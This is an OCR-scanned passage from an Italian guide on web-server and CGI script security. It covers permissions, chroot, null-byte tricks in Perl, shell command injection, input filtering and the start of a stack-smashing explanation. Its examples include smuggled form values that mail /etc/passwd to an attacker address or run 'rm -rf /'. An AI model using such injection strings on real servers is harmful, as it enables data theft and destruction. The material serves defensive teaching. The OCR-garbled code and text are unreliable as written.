nmkdi r conf | ogs

chown root . conf |ogs
chgrp root . conf |ogs
chnod 755 . conf | ogs

Figura 10: impostazione dei permessi per conf elogs
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Per guanto riguarda le directory htdocs e cgi-bin ese devono essere modificabili dal web master
(colui che anministrail sito web che il server mette adisposizione). Per il web master deve esere
posshile aeare, modificare ed eliminare file in queste diredory. Supponendo, quindi, di creae un
nuovo utente eun nUOvVo gruppo per il web master, chiamandoli entrambi ‘www’, ad esempio, S
pOSNO eseguirei seguenti comandi:

nmkdir cgi-bin htdocs

chown www . cgi-bin htdocs
chgrp ww . cgi-bin htdocs
chnod . cgi-bin htdocs

Figura 11: impostazione dei permessi per cgi-bin e htdocs

| permess risultanti saranno quindi quelli di seguito riportati.

dr wxr - Xr - X 2w VAW 4096 May 29 16:20 cgi-bin
dr wxr - Xr-x 2 root r oot 4096 May 29 16:20 conf
dr wxr - Xr - x 2 waw VW 4096 May 29 16:20 htdocs
dr wxr - Xr-x 2 root r oot 4096 May 29 16:19 | ogs

Figura 12: permessi sul filesystem

5.2.3 Facility avanzate

La maggior parte dei server HTTP oggi disponibili offre innumerevoli fadlity che perd possono
costituire veri e propri buchi nellasicurezza del sistema.
Vediamone dcune e aalizziamo gli svantaggi ad ess onness:

» Listing automatico delle directory
Quando viene inviata una richiesta ad un server HTTP con una URL in cui si specifica una
directory, il server puo eventua mente rispondere inviando in automatico una pagina HTML
costruita a volo che elenca il contenuto d tale directory. In questo modg, ¢' € la posshilita
che vengano mess a disposizione file utili per formulare un attacco al sistema, quali
sorgentin d script CGl istallati nel sistema, sorgenti di script di controllo dei log del server
o eventuamente i link simbalici credi per motivi di manutenzione e di cui ci s €
dimenticati di effettuarel’ eliminazione

e Linksimboalici
Molti server permettono di estendere la document root aggiungendo opportuni link
simbolici a suo interno. Anche se do a volte puo fadlitare il lavoro del webmaster, si
potrebbe mpromettere la sicurezza del sistema a esempio creando, anche
aaidentalmente, link ad aree del filesystem che vorrebbero essere tenute nascoste (si pensi
a /etc). Quas tutti i server HTTP consentono d disabilitare questa funzione, tramite
opportune direttive aggunte a file di configurazione.
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5.2.4 Soluzione con chroot

Una ulteriore posgbilita équella di eseguire il server HTTP cambiando la sua home in diredory
radice (utilizzando il comando chroot).

In questo modo, tuttala parte del fil esystem che si trova amonte di tale home risulterainaccessbile
al server, savo vi siano hard link, e quindi a sicuro da eventuali attacdi. Ad esempio se il server
HTTP, il cui eseguibile ehttpd, ha come diredory di lavoro /home/web/, il comando

chroot /hone/web/ httpd

fain modo cheil server vedaladirectory /nome/web/ come directory radice (‘/) del filesystem.

Lo svantaggio d questo approccio e che si deve creae un vero e proprio filesystem "virtuale" nella
home del server HTTP, contenente tutto cio d cui il server HTTP steso pw aver bisogno, come
interpreti, database, device, librerie e ©si via

5.25 Localizzazione degli script CGI

La maggior parte dei server HTTP oggi disponibili consente ameno due possbili configurazoni
per I’eseauzione degli script CGI. La prima consiste nell’identificarli nell’albero delle directory
della document root tramite un’estensione, mentre la seconda permette di indicare una directory
dovei filein essa mntenuti sono da mnsiderarsi degli script CGIl. Benché la prima opzione non sia
intrinsecamente pericol 0sa, porta mn sé una serie di svantaggi:

» Poiché gli script CGI sono dei potenziali punti deboli della sicurezza di un sistema & molto
piu facile mantenere tracda di quali script sono istalati sul sistema se Sono mantenuti
tutti in una spedfica posizione del filesystem, piuttosto che ritrovarseli sparsi nell’ albero
delle directory della document root. Cio € particolarmente vero in ambienti in cui vi sono
molte persone the mantengono lo stes sito Web. In guesto caso , infatti, e facile che
qualcuno crei uno script CGIl che mntenga una qualche fonte di rischio per il sistema eche
lo istalli da qualche parte nell’albero della documunet root. Con la seconda metodologia,
invece se ladirectory in cui sono contenuti gli script e resa scrivibile solo dal web master,
Ci Sl asscura che solo quest’ultimo siain grado d istallare nuovi script nel sistema, magari
supervisionandoli prima, per assicurarsi che non nascondano potenziali situazioni di rischio.

* Seun potenziale nemico fose in grado d istallare da qualche parte nella document root un
Suo script, potrebbe eseguirlo fadlmente da remoto semplicemente richiedendone I’ URL.
Tae scenario diventa perd improponibile se si utili zzail secondo metodo.

* Immaginiamo uno scenario per niente improbabile. Supponiamo d aver scritto uno script
CGlI in un linguaggio interpretato, diciamo il Perl. Sia test.cgi il nome del nostro CGI e
supponiamo di averlo istallato da qualche parte nell’ abero delle directory della document
root. Dopo un po’ di tempo ci acorgiamo d dover fare qualche piccola modifica atest.cgi.
Dunque lo apriamo con un comune alitor di testi, diciamo Emacs, |0 modifichiamo e lo
salviamo. Emacs, come molti altri editor di testi del mondo Unix, lascia sempre una cpia
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della precadente versione di un file modificato aggiungendo il carattere ‘~' alla fine del
nome del file. Nel nostro caso crega il file test.cgi~, che cnterra la versione precedente
all’ ultima modifica fatta dlo script CGI in questione. Se un eventuale nemico, ipotizzando
una situazione del genere, richiedesse I’'URL di test.cgi~, il server HTTP considererebbe
tale file non come un script, ma come una comune risorsa ela invierebbe, cosi come ¢ a
richiedente. Cosi il nemico avrebbe a disposizione il sorgente di test.cgi (anche se solo di
unaversione precedente) per poter pianificare un possbile atacm al sistema.

In definitivae consigliabile la soluzione della directory fissaove localizzare gli script, che previene
gli inconvenienti soprariportati.

5.3. Sicurezza degli script CGI

In questa sezione discuteremo la sicurezza degli script CGI, cercando, ove possbile, di fornire
degli utili suggerimenti per scrivere script che rendano quantomeno difficile un eventuale attacm
allasicurezzade sistemaWeb su cui sono istallati.

5.3.1 Possibili attacchi

Cominciamo con I' analizzare i possbili attacchi portati ad un sistema tramite un sarer HTTP,
asumendo che sia stato configurato correttamente, sfruttando eventuali script CGI non sicuri,
aloras potrebbe:

* Inviare via emall il file /etc/passnvd contenente le passvord degli utenti della macchina su
cui il server eistalato. Anche se il file contiene delle passvord che sono cifrate, potrebbe
comunque essere utilizzato per un eventuale intrusione non autorizzata nel sistema. Anche
avere un sistema di password shadow non € una soluzione d problema. In tale approccio il
campo password del file passvd contiene il carattere ' X' o' *' mentre le password vere e
proprie sono contenute in un file separato, /etc/shadow, i cui permess di lettura escrittura
sono riservati solo a superuser. Infatti in questo caso I' invio tramite mail del fa
/etc/passvd non fornisce le passwvord cifrate degli utenti, ma comunque da informazioni su
tutti gli account presenti sulla macchina, informazioni che mmunque potrebbero essere
usate per tentare un acesH non autorizzao.

* Inviare viae-mail una mappa del filesystem che potra essere utili zzata per la pianificazione
di ulteriori attacdi.

* Inviare via emall informazioni sulla nfigurazone dell’host utilizzabili per la
pianificazone di successvi attacdi.

» Eseguire unserver per il login su una porta dta (>1024) e cnnettersi ad eso tramite telnet.

» Eseguire applicazioni che richiedono molte risorse (find sull' intero filesystem o simili)
sovraccaicando il sistema e impedendogli di espletare le sue normali funzioni (tipo d
attaaco denial of service).

* Cancellareo dterarei filedi log del server HTTP.
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5.3.2 Sceltadel linguaggio

Lascdtadd linguaggio con il quale implementare gli script CGI e spes una sceltaforzata, dettata
dalle spedfiche mnoscenze dell’implementatore. Potendo perd scegliere, ¢i si trova subito a porsi il
guesito se sia meglio utilizzarne uno compilato o uno interpretato. Per quanto riguarda |’ aspetto
della sicurezza, possiamo dire che e preferibile utilizzarne uno compilato. Vediamone le
motivazoni:

e Ovwviamente, piu un nemico conosce come lavora uno script, piu facilmente riuscira a
trovare in es un qualche punto d attac®. Se si utilizza un linguaggio compilato e S'istalla
il codice binario dello script, e piu difficile interpretarne il funzionamento, anche riuscendo
ad ottenerne il codice binario. Se s utilizzaun linguaggio interpretato, il codice sorgente
dello script € sempre potenzialmente disponibile. Possamo considerare, ad esempio, |0
scenario, precedentemente presentato, nel quale il nemico riesce al ottenere il sorgente
dello script richiedendo I’ URL di una sua precedente versione, lasciata dall’ editor utilizzato
per effettuare le ultime modifiche. Per contro, bisogna cnsiderare dhe il codice sorgente di
molti script CGI di uso comune éliberamente disponibile in rete, siano ess implementati
con linguaggi compil ati o interpretati.

» La maggior parte dei programmi di grandi dimensioni nasconde d suo interno numeros
bug, e gli interpreti sono, solitamente, programmi di dimensioni rilevanti. Quando si manda
in eseauzione uno script CGI interpretato, si avvia un’istanza dell’ interprete che esegue le
istruzioni contenute nello script. Talvolta é possibile sfruttare a hoc i bug dell’interprete
per far compiere dlo script azioni indesiderabili.

» Come vedremo in seguito, uno del maggiori scenari che nasconde insidie el’invocazone di
comandi esterni all’interno dell o script. La maggior parte dei linguaggi interpretati permette
di eseguire molto facilmente tale compito. Questo comporta che I'implementatore sia
naturalmente portato ad uilizzare tali fadlitazioni, introducendo pu fadlmente situazioni di
potenziale pericolo.

Owviamente do nan implica che I'utilizzo di un linguaggio compilato produca necessariamente
degli script CGlI sicuri.

5.3.3 Conoscenza degli strumenti

La cosa importante, in ogni caso, € la mnoscenza approfondita degli strumenti che si utilizzano.
Consideriamo un semplice esempio in cui un implementatore utilizzi il Perl; egli potrebbe ignorare
che "root" !'="root" ma dlo stes tempo “root” == “root”. Confusi? Vediamo perché. Ricordiamo,
innanzi tutto, che il Perl permette di includerein unastringail byte \O' in quanto, al contrario del C,
considerandolo come un normale crattere, non lo uilizza cme terminatore di stringa.

Supponiamo che I'implementatore voglia grire un file il cui nome viene fornito dal' utente senza
I' estensione.

Nel suo script Perl posono esserci |e seguenti istruzioni:
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# parse input
$dat abase="$user _i nput . db"; # concatenailc ontenuto diu ser_input
# alla stringa“ .db”ea ssegna il
#t utt oalla varia bile database
open(F I LE" <$dat abase"); # apre ilf ile

Figura 13: esempio di script CGl in Perl

Supponendo che |” utente abbia fornito la stringa “ dati”, la variabile user_input sara uguale a"dati".
Ammettiamo ora che I' utente pass invece la stringa "daD": la variabile database conterra la
stringa "dati\0.db".

Una volta che la stringa contenente il nome del file arriva al’appropriata system cdl
(presumibil mente scrittain C), essa interpretalo \O' come terminatore di stringa equindi cercha di
aprire il file "dati". Tutto ci0 pud essere utilizzato per portare atermine il seguente atacco.
Supponiamo di avere uno script che permetta di cambiare le passwvord degli utenti, (ad esempio
utili zzae per I' accesso ala mailbox su d un ISP). Sicuramente non vorremmo permettere ad un
utente mali ntenzionato di cambiare la passwvord di root. Se lo script CGI é scritto in Perl potrebbe
contenere d suointerno un controllo come:

if( $usern e "root"){ #s e |l'utenten on ér oot
.. #e seguei | canbiod ella password
}

Figura 14: esempio di controllo in Per|

L’ implementatore ritiene con cio d permettere il cambio dell a password atutti gli utenti tranne de
aroot. Quind sel' utente provalo username ' root' non potra fare niente, ma se fornisce in input la
stringa "root\Q", il test if avra succes®! Questo non & necessariamente un roblema di sicurezza,

ma ha dei risvolti interessanti. Infatti, molti script CGl aggiungono un' estensione dl' input
dell' utente per dare lapaginadi output. Vediamo il seguente esempio:

#p arsei nput
di e("h ahaha! Beccato!)
i f($user_inpute g "page.cgi"); #t entativo di
#pr oteggerei |
#s orgente
$file="$user_input.htm?

Figura 15: esempio di controllo inefficace in Per|

Lo script con nane page.cgi prende come input il nome della pagina da visualizzae e aggunge il
suffiso ' .html' per restituire il contenuto d nome_paginahtml. Se un uente passasse come
nome_paginalastringa"page.cgi\0" avrebbe come output il sorgente di page.cgi.
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Anche mntrollando esplicitamente I'esistenza del file da aprire cn I’ operatore '-é di Perl, non
renderebbe lo script immune da quest’ attacco. Cio avviene perché quest’ operatore utilizza una
system call implementata in C, che, com’e noto, termina le stringhe con "\O', quindi verifica
I’ esistenza del file “page.cgi” e non del file “page.cgi\0.html”:

# scansi oned el | " i nput
di e("h ahaha! Beccato!")
if ($user_inpute gq" page.cgi"); #t entativodi
#pr oteggerei |
#s or gente

$file="$user_input.htm?

if( -e$fil e){

open (FILE, "<$fil e"); #apre' $filei n lettura
#i nviai Ifi le

}

Selastringa "page.cgi” fosse "/etc/passvd”, il problema sarebbe ben piu grave.

Talvolta € necessario che uno script CGl sia eseguito con un particolare UID. Esistono in tali
Situazioni degli appositi wrapper che alvono questo compito. Si tratta di applicazioni che
vengono avviate mme superuser, eseguono un setuid a un UID specificato e successvamente una
execddlo script CGI che si vudle eseguire. Ma se tale metodologia ci viene in aiuto per risolvere
alcuni problemi di acces® a risorse per gli script CGI, diventa una tecnica pericolosa se non
utilizzata con CGlI di provata sicurezza. Supponiamo d eseguire il wrapper su d uno script CGI
utilizzando un uid UID. Per qualche oscuro bug lo script CGI permette I'eseauzione di un comando
del tipo 'rm -rf /'; se do avviene |’ utente il cui user identificaor € UID pud dre aldio alla sua home
directory e atutto cio che in essa @a ontenuto.

5.3.4 Nesaun’asaunzione sull’input di uno script

Come appena detto, i punti di partenzaper un server HTTP sicuro sono una crretta awnfigurazione
e un’ approfondita cnoscenza. Fondamentale pero é scrivere script CGI sicuri.

La prima considerazone da fare riguarda I'input dello script: non fare mai assunzioni sui valori
d’input passati ad uno script CGI. Vediamo il perché. Supponiamo d voler ricevere messagg via
e-mail tramite il web a nostro indirizzo foo@bar.baz.com. In tal caso istalleremo sul server HTTP
un’ apposita paginaHTML simile dla seguente:
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Y E-Mail - Netscape

File Edit Wiew Go Communicator Help

T T Y < & §

i Back Fonward Reload Home Search  Metscape Frint Security Stom

' wt' Bookmarks & analion:Ihltp:a’.n"www.websyte.ih’lestform.html j @'What's Related
ﬁlnstanth’lessage Wwiebh il Contact Feople ‘rellow Pages Download Find Sites ['_‘i Chai

Inserisci il messaggio da inviare
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SN = = I e YA

| == |Document: Dane

Figura 16: esempio di FORM per I’invio di un’e-mail visualizzato da un browser grafico

il cui codice HTML sara:

<HTM_>
<HEAD>
<TI TLE>e-mmi | </ TI TLE>
</ HEAD>
</ BODY>

<CENTER>
<Hl> Inserisci il nessaggi o da inviare</Hl><BR>

<FORM ACTI ON="/ cgi - bi n/ enmi | - f 00" METHOD=" CET" >
<I NPUT TYPE="hi dden" NANME="FooAddress" VALUE="foo@ar.baz.coni >
<TEXTAREA NAME="nsg" ROAG="11" COLS="60" VALUE=""></ TEXTAREA>
<BR><BR>
<I NPUT TYPE="submit" NAMVE="Invi a" VALUE="Invi a">

</ FORW>

</ CENTER>
</ BODY>
</ HTM.>

Figura 17: esempio di codiceHTML cherealizza un FORM capacedi inviare un’e-mail
Supponiamo, inadltre, di aver scritto uno script CGI chiamato ‘email-foo’, che mntenga la seguente
porzione di codice:
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char foo_addr ess[B UF_SI ZE] ; /lv erramemaizzatol 'indiriz zodi e-nmil
char mnessageFi | e[B UF_SI ZE] ; /[/v erramemaizzatoi | nmessaggioda
/1l nviarea foo_address

/[1i | nessaggiovi enescritto inun file tenporaneo
[1i | cuin omesara'm emaizzatoi n nessageFile
sprintf(buffer,"/usr/lib/sendmail -t%s < %", foo_address, m essageFile);

system buffer);

Figura 18: esempio di script CGI per I'invio di un e-mail

Unavolta delo s e fatto istallare dal nostro amministratore di sistema lo script diventa operativo.
Se un eventuale hacker, visitando la pagina contenente il FORM, la modificasse nel seguente
modo:

<FORM ACTI ON="/ cgi - bi n/ emai | - f 00" METHOD=" GET">
<I NPUT T YPE=" hi dden" N AME="FooAddr ess"V ALUE="foo@ bar . baz.com <
/dev/null;milh acker @ad. com </ etc/ passwd; cat /dev/null ">
<TEXTAREA NAME="mgg" R ONS" 11" C OLS="60" VALUE="" ></ TEXTAREA>
<BR><BR>
<I NPUT T YPE="submit" N AME" I nvi a"V ALUE="I nvi a">

</ FORM>

Figura 19: esempio di FROM modificato da un nemico

e la sottomettesse poi a server che I'avevainviata, riuscirebbe afars spedire via email il file delle
password. L'errore principale di colui che ha scritto questo codice € dhe ha aunto implicitamente
che fosse eseguito solo dal suo FORM invece, unavolta chelo script éistallato nella diredory degli
script di un server HTTP, es0 e eseguibile da dhiunque possa acedere a server, passandogli
qualsivoglia stringa di parametri. E bene quindi controllare sempre cid che viene passato in input
per evitare spiacevoli sorprese.

Un atro problema che emerge in queste poche righe di codice el'utilizzo non ponderato di una
potente funzione dellalibreria standard del C: la system(), il cui prototipo € di seguito riportato.

intsy sten{const char* conando);

Essa esegue do che e spedficao in ‘comando’ come se fosse stato fornito sulla lineadi comando
della shell. In effetti viene eseguita un exec basata sulla stringa */bin/sh -c comando’. Ovviamente
‘comando’ pud contenere tutti i matacaratteri (caratteri con particolare significato) che la shell
utilizza Ad esempio considerando il metacaattere ‘;’ (utilizzato come separatore di comandi), la
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stringa ‘comando’ potrebbe essere la seguente:

lusr/lib/sendnmail -t foo@bar.baz.com< /dev/null; rm-rf /; cat /dev/null
< noneFi | eMessaggi o

Figura 20: esempio di stringa di comando che un nemico potrebbe esguire

Se un hacker modificasse il FORM nel seguente modo:

<I NPUT TYPE="hi dden" NAME="FooAddress" VALUE="foo@ bar.baz.com < /dev/null;
rm-rf /; cat /dev/null">
<TEXTAREA nane="nmsg" rows="11" col s="60"> </ TEXTAREA>

Figura 21: stringa di comando inserita nel FORM

cancellerebbe tutti i file presenti sul disco con i permess concess ala UID del server.
Considerando, ora, che la sottostringa ‘rm -rf /’ pud essere sostituita da una qualsiasi sequenza di
caatteri, I'hadker puo, in questo modo, mandare in eseauzione comandi arbitrari sotto I’UID del
server.

Uno dei posshili rimedi atai inconvenienti € di non utilizzare funzioni di libreria che eseguano
delle shell. Ovviamente le funzioni che invocano una shell dipendono dal linguaggio che s sta
utilizzendo per scrivere lo script in questione. Per quanto riguarda il C, ad esempio, anche la
funzione popen() esegue una shell. Il prototipo d quest’ ultima edato d seguito.

popen(const char *conmand, const char *type)

E buona norma dunque, qualsiasi linguaggio si utili zzi, sapere do che fa ogni funzione di li breria,
per evitare spiacevoli sorprese.

5.3.5 Controllo del contenuto dell’ input

L’esempio precedente mette in evidenza un’'atra problematicas il bisogno di controllare
attentamente do che viene fornito in input alo script. Come prima operazone, all’interno dello
script, € buona norma eseguire una scansione dell’input dell’ utente, controllando che non sia
fonte di problemi. Per realizzare questo approcdo vi sono due filosofie :

* (uello che non e espressamente proibito &€ permesso
» quello chenon e espressamente permesso € proibito

A primavista, i due metodi posono sembrare simili, ma, in effetti, non lo sono. Il primo approccio
prevede de durante la scansione dell'input vengano eliminati o sostituiti tutti i caratteri che s
ritengono lesivi della sicurezzadell o script CGl.
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Un esempio e dato dal seguente codice:

#inclu de< std i o. h>
#i nclu de < str i ng.h >
#inclu de<stdlib.h >

intmain(int argc,c har *argv[],c har* *envp)

{
staticc har bad _chars[] ="/ ;[]<>&t"; /lc aratteri peric ol osi
char*us er_data; /[Ip untatore alla QUERY_STRI NG
char*cp ; [lu ti lizzatop er lasc ansioned ell "input
/[P rendianmpo |'input
user _data=ge tenv("QUERY_STRI NG");
/It imuovei caratterip ericolosi
for( cp =user_data; *(cp += strcspn(cp, bad_chars)); /** /) {
*cp ="
}
/lc orpo dello scriptC d
exit(0);
}

Figura 22: esempio di approccio quello che non e espressamente proibito € permesso

Tale metodologia prevede che il programmatore consideri tutti i possbili caratteri di input che
potrebbero essere caisa di problemi; se uno qualsiasi di tali caratteri non fosse wntemplato allora
lo script potrebbe essere usato in modo pericol 0so.

Un approcdo migliore efornito dalla secnda metodologia. Il programmeatore definisce una lista di
caatteri accettabili e sostituisce ogni carattere non aacettabile con un underscore ("_"). Un esempio
e dato dal codice seguente:
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#inclu de< stdio. h>
#i nclu de < str i ng.h >
#include<stdlib.h>

intmain(int argc,c har *argv[],c har* *envp)

{
staticch aro k_chars[]=" abcdefg hij kl mmopqgrs t uvwxyz\
ABCDEFGHI J KLMNOPQRSTUVW X Z\
1234567890_-. @;
char*us er_data; /[Ip untatore alla QUERY_STRI NG
char*cp ; [lu ti lizzatop er las cansioned ell'i nput
/[P rendianmo |'input
user_data=ge tenv("QUERY_STRI NG");
/It imuovei caratterip ericolosi
for( cp =user_data; *(cp += strspn(cp, ok_chars)); /** [) {
*cp ="
}
//c orpo dellos criptC d
éxi t(0);
}

Figura 23: esempio di approccio quello che non € espressamente permesso € proibito

Si nati che nei due gprocci®, le funzioni utilizzate nel ciclo for sono rispettivamente strcspn e
strspn. Si facciariferimento a manuale dellalibreria standard C per le differenze.

Gli input vaidi appartengono cosi ad un insieme predicibile, ben definito e di grandezza limitata. 11
beneficio di questo metodo € dhe il programmatore e certo che qualunque input sia fornito,
conterra solo caratteri sotto il suo controllo. E chiaro con cid che questo approcdio & da preferirsi.
Bisogna aggiungere perd che il codice d'esempio presentato sopra hon e da utili zzasi cosi com’e,
ma e necessario adattarlo alle proprie esigenze, a seconda del linguaggio utili zzao, dell'ambiente
operativo in cui sara eseguito e del compito che lo script dovra svolgere.

Per quanto riguarda il linguaggio, ad esempio, se s utilizza il Perl bisogna tener conto che i
metacaratteri ‘>’ e ‘| hanno un significao particolare nelle funzioni orientate a file. Considerando
invece l'ambiente, basti pensare che ogni shell ammette suoi propri particolari metacaratteri, per
esempio il carattere ‘' pud essere considerato come un simbolo di pipe. Relativamente d compito
svolto ddllo script CGlI, s puod fare un piccolo esempio. Supponiamo di voler implementare uno
script CGI che prenda in input un pathname di un file, magari per visualizzalo via web. Se
utilizzessmo il codice visto prima, cosi com’e, ci accorgeremmo subito che qualcosa non funziona.
Infatti il codice asume che il carattere ‘/’ non € un carattere sicuro e lo sostituisce on un ‘.
Ovviamente, cosi non sara mai possbile visualizzare un file che non s trovi nella directory
corrente. Tutto cio deve far capire che non esiste una soluzione universale, ma si deve sapere
adattare per I'occasione do che di buono si conosce

% due esempi di codice C sono tratti dai Tech Tips del CERT e sonoreperibili all’ URL
ftp://ftp.cet.org/pub/tech_tips/cgi_metacharaders. Laversione utilizzaa eéla 1.4 del 13febbraio 1998
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5.3.6 Variabili d'ambiente

Altro punto dolente della sicurezza degli script CGI e la gestione dell e variabili d’ ambiente. Queste
ultime sono di solito ereditate dal processo padre, quindi per gli script dal server HTTP. Se un
eventuale nemico riuscisse in qualche modo a modificare il contenuto d acune di queste variabili,
potrebbe in qualche cao manipolare il comportamento dello script.

5.3.6.1 Alcunevariabili d’ambiente sono pericolose

Alcune variabili d’ambiente sono pericolose, in quanto controllano librerie e programmi in modo
oscuro, subdolo o ron dacumentato. La variabile | FS, ad esempio, € usata dall e shell sh e bash per
determinare quali caratteri separano gli argomenti dellalinea di comando. Poiché la shell e invocata
da numerose chiamate di baso livello (come la system() e la popen() del C), ponendo IFS a valori
inusuali posoNo essere sovvertite chiamate apparentemente sicure. Questa caratteristica e
documentata da bash e sh, ma, ciononostante, resta oscura; molti utenti, infatti, sanno dell’ esistenza
di tae variabile a @usa del suo utilizzo in attacti ala sicurezza e non perché essa venga
eff ettivamente usata per il suo reale scopo. Quello che € peggio € che non tutte le variabili
d’ambiente sono documentate.

5.3.6.2 11 modoin cui levariabili d’ambiente sono memorizzate epericoloso

Normamente, un programma dowrebbe usare le funzioni standard per accalere alle variabili
d’ambiente, come getenv(), setenv(), putenv() o unsetenv(). In un sistema Unix le variabili
d’ambiente sono accessibili tramite un puntatore (environ) ad un array di puntatori a carattere e
I’array e terminato con un puntatore a NULL. | puntatori a caattere, aloro volta, indirizzano delle
stringhe NIL-terminated (terminate da un carattere ‘\0") dellaforma‘NOME=valore’, dove NOME
rappresenta il nome della variabile d’ambiente e valore ne rappresenta il valore. Questo tipo di
formato ha molte implicazoni, come ad esempio che il nome di una variabil e d ambiente non puo
contenere il carattere ‘=". Comungue, un’implicazione piu pericolosa di questo formato & che es
permette la definizione di piu variabili con lo stesso nome ma n diverso valore. Da do potrebbe
nascere il problema che un programma o script controlli il valore di unoccorrenza di una
determinata variabile ma poi ne utilizzi un’atra. Nei sistemi Linux basati su GNU glibc 2.1 si e
cecdo di evitare tali inconvenienti, fornendo delle funzioni per la manipolazone delle variabili
d’ ambiente dhe lavorino in modo sicuro. In particolare, la funzione getenv() restituisce sempre il
valore della prima occorrenza trovata, setenv() e putenv() modificano il valore della prima
occorrenza trovata, mentre la funzione unsetenv() elimina tutte le occorrenze della variabile
d’ambiente che si desidera cancdlare. Ovviamente, tutti questi sforzi sarebbero inutili se un
gualsiasi programma accedes® dle variabili d’ambiente senza utilizzare le funzioni standard, ma
manipolando direttamente environ. E buona norma, dunque, asscurarsi che le funzioni di
manipolazone delle variabili d’ambiente del sistema su cui si sta scrivendo o script abbiano un
comportamento sicuro (come quello visto per I'implementazione di GNU glibc 2.1), e, in questo
caso, che s utili zzino solo queste funzioni per lamanipolare le variabili d’ ambiente.
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5.3.6.3Lasoluzione: estrarreed eiminare

Una soluzione radicde d problema e cancellare tutto il contenuto del vettore delle variabili
d’ambiente per poi iniziaizzare solo il valore di quelle de risultano strettamente necessarie per
I” esecuzione dello script, ovwiamente con valori non pericolosi. Questa ésicuramente la soluzione
piu sicura, in quanto nonvi é alcun modo d controll are tutte le posshili variabili che in qualche
modo posono essere pericolose. Anche se s analizzail codicedi ogni programma dhe s richiama
direttamente o indirettamente dallo script, versioni successve di tali programmi potrebbero
aggiungere dtre variabili, documentate o meno, rendendo vani tutti gli sforzi fatti.

Utilizzando il linguaggio C, il modo piu semplice per eliminare tutte le variabili d’ambiente e
quello d porre la variabile globale environ (definito in <unistd.h>) a NULL. In dternativa, si pud
utili zzae una funzione non documentata e non implementata su tutti i sistemi Unix: clearenv()
definitain <stdlib.h>.

Se s utilizza un linguaggio che non permette di ‘ripulire’ direttamente I’ambiente, un approcdo
potrebbe essere quello di creare un wrapper, che prima pongail vettore delle variabili d’ambiente a
valori sicuri e poi esegualo script.

5.3.7 Stack smashing

Un attacco estremamente comune utili zza una teaica conosciuta @n il nome di stadk smashing.
Tale teaica si basa sulla presenza, all’interno dell o script o dello stes server HTTP, di potenziali
situazioni di buffer overflow, in cui il buffer & dlocato sullo stack del proces. Un buffer overflow
s verificaquando s tenta di scrivere un insieme di valori (di solito una stringa di caratteri) in un
buffer di dimensione fissa, scrivendone ameno uno a di fuori dei limiti di tale buffer (di solito
oltrepassandone la fine). Questa evenienza puo verificarsi quando si legge un input fornito
dal’utente o in unaqualsiasi altrafase di elaborazone del proces. Il seguente mdice, ad esempio,
porta a una situazone di buffer overflow:

#i nclu de < str i ng.h >
voi d function(char* str)

{
charb uffer[16];
str cpy(buf fer,str);
intma in()
char large_string[256];
int i;
for(i=0 ;i <254;i++) {
| arge_stri ng[i]=" A';
}
large_string[i] =" \0";
function(large_string);
return (0);
}

Figura 24: esempio di buffer overflow
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Una volta compilato ed eseguito, il codice sopra riportato termina provocando ura segmentation
fault. Cio accade perché la funzione function() copialarge string in buffer oltrepassandoi limiti di
guest’ ultimo. Se un programma o, piu specificatamente, nel nostro caso uno script, permette un
buffer overflow, es pud essere sfruttato da un eventuale nemico per portare atermine un attacco.
Se il buffer considerato € una variabile locale C, notoriamente all ocata sullo stack del processo,
I’overfolw pud essere sfruttato per implementare uno stack smashing, riuscendo ad eseguire un
codice abitrario. Se, inve, il buffer che genera I'’overflow e dlocao dinamicamente (posto
nell’heg del proces), il nemico pud manipolare il contenuto d atre variabili del programma.

5.3.8 Stack smashingin dettaglio

Un attacco d tipo stadk smashing presuppone una buona conoscenza dell’ architettura della
macchina vittima, dato che es s basa sulla gestione della memoria di un proceso (soprattutto o
stack) e, piu in particolare, sul meccanismo di chiamata afunzione. Nel paragrafi seguenti vedremo
piuin dettaglio come puoessere realizzato un attacco d questo tipo e quali sono le sue potenziaita
A tale scopo s utilizzera come esempio un’architettura di tipo Intel x86 con sistema operativo
Linux.

5.3.8.1 Organizzazione della memoria di un processo

Lo spazio d indirizzamento d un proces € organizz&o in tre regioni: testo, dati e stack.

Nella parte testo viene caricato il codice eseguibile del programma, nell a parte dati sono caricate le
variabili globali del programma, mentre lo stack e utilizzato per I’ allocazone dell e variabili locali e
per I'implementazione del meccaiismo di chiamata a funzione. Ognurna di queste regioni ha
asociati vari flag che indicano permess di lettura, scrittura ed eseauzione. All' inizio
dell’eseauzione di un programma, |’ areatesto e I’area dati sono caricae direttamente in memoria.
L' areadati, inoltre, € divisa in due sezioni: dati inizializzati e dati non inizializzai (BSS, Block
Started by Symbol, dal nome di un vecchio gperatore asmbler).

La sezione dati BSS e posta ad un indirizzo d memoria piu ato rispetto alla sezione dati
inizializzati, mentre la sezione testo € posta in un indirizzo di memoria piu basso (piu vicino a
0x00000000).

| dati noninizializzai non sono memorizzai staticamente in un file eseguibile, semplicemente
perché ess posono essere dlocai utilizzando una regione di memoria riempita con tutti O.
Informazoni come variabili statiche sono memorizzate nella regione dati BSS. La regione testo €
marcata con il flag di lettura el eseauzione el € condivisa da tutti i process che eseguono |0 steso
file. Se s tenta di scrivere ad un indirizzo che fa parte della regione testo, viene aitomaticamente
generato un segmentation fault. Invece leregioni che interessano lo stack ei dati, sono ovviamente
modificabili (possiedono permesso d scrittura).

Lo stack differisce dai segmenti dati e testo in modo significativo: e una struttura dati dinamica e
segue una palitica LIFO (Last-In First-Out), a contrario dei dati statici che sono sempli cemente
caicati in memoria.

Quando un programma e avviato, il segmento testo & aricato per primo e, immediatamente dopo, e
caicatal' areadati. Infine, e dlocato dinamicamente lo stadk tramite una chiamata alla system call
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sbrk(). L’insieme dei dati dello stack che crescono immediatamente sopra il segmento dati BBS e
chiamato heap.
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testo

linker header & numero magico
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Figura 25: organizzazione della memoria di un processo
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Le chiamate afunzioni utilizzano il segmento dello stack utente in modo intensivo. In es vengono
memorizzdi:

e | parametri passati ale funzioni;

* levariahili locali alafunzione;

* leinformazioni utili zzae per il corretto funzionamento del meccanismo d chiamata a
funzione, come I'indirizzo dell'istruzione dla quale deveritornareil controllo dopo
I'eseauzione dellafunzione.

Al di sopradello stack utente sono memorizzdi tutti gli argomenti passati sullalineadi comando a
momento dell'esecuzione del programma, le variabili d’ambiente dheil sistema mantiene euna
struttura di tipo ps_string che memorizzale informazioni di report per il proces (quelle de sono
visualizzae da comando ps).

La"zonarossa', non presente su tutte le achitetture, € un campo riservato utilizzato per proteggere
il per-process stack del kernel. Tale zona eposta nell’indirizzo d memoria piu ato relativamente
alo spazio dindirizzamento del processo in eseauzione.

5.3.8.2 Registri macchina

| registri macchina dhe d interessano sono:

